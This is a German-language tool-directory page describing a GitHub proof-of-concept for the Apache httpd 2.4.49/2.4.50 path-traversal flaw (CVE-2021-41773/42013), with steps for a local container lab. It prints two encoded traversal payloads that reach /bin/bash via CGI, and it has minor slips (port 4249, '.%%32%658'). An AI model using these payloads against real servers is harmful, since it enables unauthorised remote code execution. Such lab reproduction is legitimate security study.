Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2021-41773 | Kitploit
Tools/GitHubGitHub/mightysai1997/cve-2021-41773
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRemote-Access-Tool
GitHubmightysai1997/cve-2021-41773

cve-2021-41773

Repository anzeigen
vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Apache httpd RCE

Eine Schwachstelle wurde in einer Änderung an der Pfadnormalisierung in Apache HTTP Server 2.4.49 gefunden. Ein Angreifer könnte mithilfe eines Path-Traversal-Angriffs URLs auf Dateien außerhalb der Verzeichnisse abbilden, die durch Alias-artige Direktiven konfiguriert sind. Wenn Dateien außerhalb dieser Verzeichnisse nicht durch die Standardkonfiguration "require all denied" geschützt sind, können diese Anfragen erfolgreich sein. Wenn CGI-Skripte für diese Alias-Pfade ebenfalls aktiviert sind, könnte dies eine Remote-Code-Ausführung ermöglichen. Diese Schwachstelle wird bekanntermaßen in freier Wildbahn ausgenutzt. Dieses Problem betrifft nur Apache 2.4.49 und nicht frühere Versionen. Der Fix in Apache HTTP Server 2.4.50 war unvollständig, siehe CVE-2021-42013.

  • CVE-Details
  • Quelle

Betroffene Version(en)

  • 2.4.49
  • 2.4.50

Behoben in Version(en)

  • 2.4.51

Voraussetzungen

  • podman (oder alias podman as docker)
  • python3 und pip3
  • colorama (Python-Bibliothek, Installation mit pip3 install colorama)

Dateien

  • httpd.conf die Standard-Apache-Konfiguration (mit aktiviertem CGI-Modul)
  • hello.pl ein Beispiel-Hello-World-perl-CGI-Skript, das in dem/den Container(n) läuft
  • main.py ein Beispiel-Exploit-Python-Skript

Reproduktion

Starten Sie einen verwundbaren Apache httpd (mit Standardkonfiguration) als Docker-/Podman-Container.

DockerfileContainerVersion
Dockerfile2449vulnapache24492.4.49
Dockerfile2450vulnapache24502.4.50
  1. Erstellen Sie beide Container-Images 1.1 chmod +x ./build.sh 1.2 ./build.sh
  2. Starten Sie die verwundbaren Apache-httpd-Container 2.1 chmod +x ./run.sh 2.2 ./run.sh
  3. Überprüfen Sie, ob der Webserver läuft 3.1 curl localhost:2449/cgi-bin/hello.pl 3.2 curl localhost:2450/cgi-bin/hello.pl
ContainerListen-Port
vulnapache24492449
vulnapache24502450
  1. Starten Sie das Exploit-Skript 1.1 python3 main.py localhost:4249 1.2 Wählen Sie den Angriff auf Version 2.4.49 1.3 python3 main.py localhost:2450 1.4 Wählen Sie den Angriff auf Version 2.4.50

Exploit-Beispiel

Erklärung

Der Exploit nutzt das CGI-Modul von Apache httpd aus, um durch Path Traversal die Ausführung beliebiger ausführbarer Dateien zu ermöglichen.

  • /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash
  • /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash

.%2e/ ist URL-kodiert und entspricht nach dem Dekodieren ../. .%%32%658 ist doppelt URL-kodiert und entspricht nach dem Dekodieren ebenfalls ../.

Danksagungen

  • Exploit-Autor: Valentin Lobstein
  • Software-Link: https://github.com/Balgogan/CVE-2021-41773
  • Lucas Schnell
Tool herunterladen